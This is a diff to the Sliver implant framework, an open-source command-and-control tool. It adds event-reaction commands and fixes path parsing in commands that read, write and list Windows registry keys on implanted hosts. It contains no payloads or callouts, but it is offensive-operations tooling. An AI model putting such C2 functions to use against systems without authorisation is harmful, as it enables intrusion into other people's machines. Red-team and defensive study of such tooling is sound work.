+	for _, react := range reactions {
+		fmt.Fprintf(table, "%d\t%s\t\n",
+			react.ID, strings.Join(react.Commands, ","),
+		)
+	}
+	table.Flush()
+	con.Printf("%s", outputBuf.String())
+}
+
+// EventTypeToTitle - Convert an eventType to a more human friendly string
+func EventTypeToTitle(eventType string) string {
+	switch eventType {
+
+	case consts.SessionOpenedEvent:
+		return "Session Opened"
+	case consts.SessionClosedEvent:
+		return "Session Closed"
+	case consts.SessionUpdateEvent:
+		return "Session Updated"
+
+	case consts.CanaryEvent:
+		return "Canary Trigger"
+
+	case consts.WatchtowerEvent:
+		return "Watchtower Trigger"
+
+	default:
+		return eventType
+	}
+}

client/command/reaction/reload.go

@@ -0,0 +1,48 @@
+package reaction
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"os"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// ReactionSaveCmd - Manage reactions to events
+func ReactionReloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	if _, err := os.Stat(GetReactionFilePath()); os.IsNotExist(err) {
+		con.PrintWarnf("Missing reaction file %s\n", GetReactionFilePath())
+		return
+	}
+	confirm := false
+	prompt := &survey.Confirm{Message: "Reload reactions from disk?"}
+	survey.AskOne(prompt, &confirm)
+	if !confirm {
+		return
+	}
+
+	n, err := LoadReactions()
+	if err != nil {
+		con.PrintErrorf("Failed to load reactions: %s\n", err)
+	}
+	con.Println()
+	con.PrintInfof("Reloaded %d reactions from disk\n", n)
+}

client/command/reaction/save.go

@@ -0,0 +1,46 @@
+package reaction
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"os"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/desertbit/grumble"
+)
+
+// ReactionSaveCmd - Manage reactions to events
+func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
+		confirm := false
+		prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
+		survey.AskOne(prompt, &confirm)
+		if !confirm {
+			return
+		}
+	}
+	err := SaveReactions(core.Reactions.All())
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	} else {
+		con.PrintInfof("Saved reactions to disk\n")
+	}
+}

client/command/reaction/set.go

@@ -0,0 +1,106 @@
+package reaction
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"errors"
+	"strings"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/desertbit/grumble"
+)
+
+var (
+	// ErrNonReactableEvent - Event does not exist or is not supported by reactions
+	ErrNonReactableEvent = errors.New("non-reactable event type")
+)
+
+// ReactionSetCmd - Set a reaction upon an event
+func ReactionSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	eventType, err := getEventType(ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.Println()
+	con.PrintInfof("Setting reaction to: %s\n", EventTypeToTitle(eventType))
+	con.Println()
+	rawCommands, err := userCommands()
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	commands := []string{}
+	for _, rawCommand := range strings.Split(rawCommands, "\n") {
+		if rawCommand != "" {
+			commands = append(commands, rawCommand)
+		}
+	}
+
+	reaction := core.Reactions.Add(core.Reaction{
+		EventType: eventType,
+		Commands:  commands,
+	})
+
+	con.Println()
+	con.PrintInfof("Set reaction to %s (id: %d)\n", eventType, reaction.ID)
+}
+
+func getEventType(ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
+	rawEventType := ctx.Flags.String("event")
+	if rawEventType == "" {
+		return selectEventType(con)
+	} else {
+		for _, eventType := range core.ReactableEvents {
+			if eventType == rawEventType {
+				return eventType, nil
+			}
+		}
+		return "", ErrNonReactableEvent
+	}
+}
+
+func selectEventType(con *console.SliverConsoleClient) (string, error) {
+	prompt := &survey.Select{
+		Message: "Select an event:",
+		Options: core.ReactableEvents,
+	}
+	selection := ""
+	err := survey.AskOne(prompt, &selection)
+	if err != nil {
+		return "", err
+	}
+	for _, eventType := range core.ReactableEvents {
+		if eventType == selection {
+			return eventType, nil
+		}
+	}
+	return "", ErrNonReactableEvent
+}
+
+func userCommands() (string, error) {
+	text := ""
+	prompt := &survey.Multiline{
+		Message: "Enter commands: ",
+	}
+	err := survey.AskOne(prompt, &text)
+	return text, err
+}

client/command/reaction/unset.go

@@ -0,0 +1,84 @@
+package reaction
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"errors"
+	"fmt"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/desertbit/grumble"
+)
+
+// ReactionUnsetCmd - Unset a reaction upon an event
+func ReactionUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	reactionID := ctx.Flags.Int("id")
+	if reactionID == 0 {
+		reaction, err := selectReaction(con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		reactionID = reaction.ID
+	}
+	success := core.Reactions.Remove(reactionID)
+	if success {
+		con.Println()
+		con.PrintInfof("Successfully removed reaction with id %d", reactionID)
+	} else {
+		con.PrintWarnf("No reaction found with id %d", reactionID)
+	}
+	con.Println()
+}
+
+func selectReaction(con *console.SliverConsoleClient) (*core.Reaction, error) {
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+	allReactions := core.Reactions.All()
+	for _, react := range allReactions {
+		fmt.Fprintf(table, "%d\t%s\t%s\t\n",
+			react.ID, react.EventType, strings.Join(react.Commands, ", "),
+		)
+	}
+	table.Flush()
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove blank line at the end
+
+	// Prompt user with options
+	prompt := &survey.Select{
+		Message: "Select a reaction:",
+		Options: options,
+	}
+	selection := ""
+	err := survey.AskOne(prompt, &selection)
+	if err != nil {
+		return nil, err
+	}
+	for index, option := range options {
+		if option == selection {
+			return &allReactions[index], nil
+		}
+	}
+	return nil, errors.New("reaction not found")
+}

client/command/registry/reg-create.go

@@ -27,6 +27,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// RegCreateKeyCmd - Create a new Windows registry key
 func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.Get()
 	if session == nil {
@@ -48,12 +49,20 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if strings.Contains(regPath, "/") {
 		regPath = strings.ReplaceAll(regPath, "/", "\\")
 	}
-	slashIndex := strings.LastIndex(regPath, "\\")
-	key := regPath[slashIndex+1:]
-	regPath = regPath[:slashIndex]
+	pathBaseIdx := strings.LastIndex(regPath, `\`)
+	if pathBaseIdx < 0 {
+		con.PrintErrorf("invalid path: %s", regPath)
+		return
+	}
+	if len(regPath) < pathBaseIdx+1 {
+		con.PrintErrorf("invalid path: %s", regPath)
+		return
+	}
+	finalPath := regPath[:pathBaseIdx]
+	key := regPath[pathBaseIdx+1:]
 	createKeyResp, err := con.Rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{
 		Hive:     hive,
-		Path:     regPath,
+		Path:     finalPath,
 		Key:      key,
 		Hostname: hostname,
 		Request:  con.ActiveSession.Request(ctx),

client/command/registry/reg-list.go

@@ -0,0 +1,77 @@
+package registry
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.GetInteractive()
+	if session == nil {
+		return
+	}
+
+	path := ctx.Args.String("registry-path")
+	hive := ctx.Flags.String("hive")
+	hostname := ctx.Flags.String("hostname")
+
+	regList, err := con.Rpc.RegistryListSubKeys(context.Background(), &sliverpb.RegistrySubKeyListReq{
+		Hive:     hive,
+		Hostname: hostname,
+		Path:     path,
+		Request:  con.ActiveSession.Request(ctx),
+	})
+
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err.Error())
+		return
+	}
+
+	if regList.Response != nil && regList.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", regList.Response.Err)
+		return
+	}
+	if len(regList.Subkeys) > 0 {
+		con.PrintInfof("Sub keys under %s:\\%s:\n", hive, path)
+	}
+	for _, subKey := range regList.Subkeys {
+		con.Println(subKey)
+	}
+}
+
+func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.GetInteractive()
+	if session == nil {
+		return
+	}
+
+	regPath := ctx.Args.String("registry-path")
+	hive := ctx.Flags.String("hive")
+	hostname := ctx.Flags.String("hostname")
+
+	regList, err := con.Rpc.RegistryListValues(context.Background(), &sliverpb.RegistryListValuesReq{
+		Hive:     hive,
+		Hostname: hostname,
+		Path:     regPath,
+		Request:  con.ActiveSession.Request(ctx),
+	})
+
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err.Error())
+		return
+	}
+
+	if regList.Response != nil && regList.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", regList.Response.Err)
+		return
+	}
+	if len(regList.ValueNames) > 0 {
+		con.PrintInfof("Values under %s:\\%s:\n", hive, regPath)
+	}
+	for _, val := range regList.ValueNames {
+		con.Println(val)
+	}
+}

client/command/registry/reg-read.go

@@ -70,8 +70,12 @@ func getType(t string) (uint32, error) {
 	return res, nil
 }
 
-// registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version"
+// RegReadCmd - Read a windows registry key: registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version"
 func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var (
+		finalPath string
+		key       string
+	)
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {
 		return
@@ -93,15 +97,24 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("You must provide a path")
 		return
 	}
+
 	if strings.Contains(regPath, "/") {
 		regPath = strings.ReplaceAll(regPath, "/", "\\")
 	}
-	slashIndex := strings.LastIndex(regPath, "\\")
-	key := regPath[slashIndex+1:]
-	regPath = regPath[:slashIndex]
+	pathBaseIdx := strings.LastIndex(regPath, `\`)
+	if pathBaseIdx < 0 {
+		con.PrintErrorf("invalid path: %s", regPath)
+		return
+	}
+	if len(regPath) < pathBaseIdx+1 {
+		con.PrintErrorf("invalid path: %s", regPath)
+		return
+	}
+	finalPath = regPath[:pathBaseIdx]
+	key = regPath[pathBaseIdx+1:]
 	regRead, err := con.Rpc.RegistryRead(context.Background(), &sliverpb.RegistryReadReq{
 		Hive:     hive,
-		Path:     regPath,
+		Path:     finalPath,
 		Key:      key,
 		Hostname: hostname,
 		Request:  con.ActiveSession.Request(ctx),

client/command/registry/reg-write.go

@@ -30,7 +30,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
-// registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32
+// RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32
 func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {
@@ -71,9 +71,17 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if strings.Contains(regPath, "/") {
 		regPath = strings.ReplaceAll(regPath, "/", "\\")
 	}
-	slashIndex := strings.LastIndex(regPath, "\\")
-	key := regPath[slashIndex+1:]
-	regPath = regPath[:slashIndex]
+	pathBaseIdx := strings.LastIndex(regPath, `\`)
+	if pathBaseIdx < 0 {
+		con.PrintErrorf("invalid path: %s", regPath)
+		return
+	}
+	if len(regPath) < pathBaseIdx+1 {
+		con.PrintErrorf("invalid path: %s", regPath)
+		return
+	}
+	finalPath := regPath[:pathBaseIdx]
+	key := regPath[pathBaseIdx+1:]
 	switch valType {
 	case sliverpb.RegistryTypeBinary:
 		var (
@@ -118,7 +126,7 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Request:     con.ActiveSession.Request(ctx),
 		Hostname:    hostname,
 		Hive:        hive,
-		Path:        regPath,
+		Path:        finalPath,
 		Type:        valType,
 		Key:         key,
 		StringValue: stringValue,

client/command/screenshot/screenshot.go

@@ -32,6 +32,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// ScreenshotCmd - Take a screenshot of the remote system
 func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/sessions/README.md

@@ -0,0 +1,4 @@
+Sessions
+=========
+
+Session related command implementations.

client/command/sessions/background.go

@@ -5,6 +5,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// BackgroundCmd - Background the active session
 func BackgroundCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.ActiveSession.Background()
 	con.PrintInfof("Background ...\n")

client/command/sessions/helpers.go

@@ -34,10 +34,13 @@ import (
 )
 
 var (
-	ErrNoSessions  = errors.New("no sessions")
+	// ErrNoSessions - No sessions available
+	ErrNoSessions = errors.New("no sessions")
+	// ErrNoSelection - No selection made
 	ErrNoSelection = errors.New("no selection")
 )
 
+// SelectSession - Interactive menu for the user to select an session, optionally only display live sessions
 func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.Session, error) {
 	sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
 	if err != nil {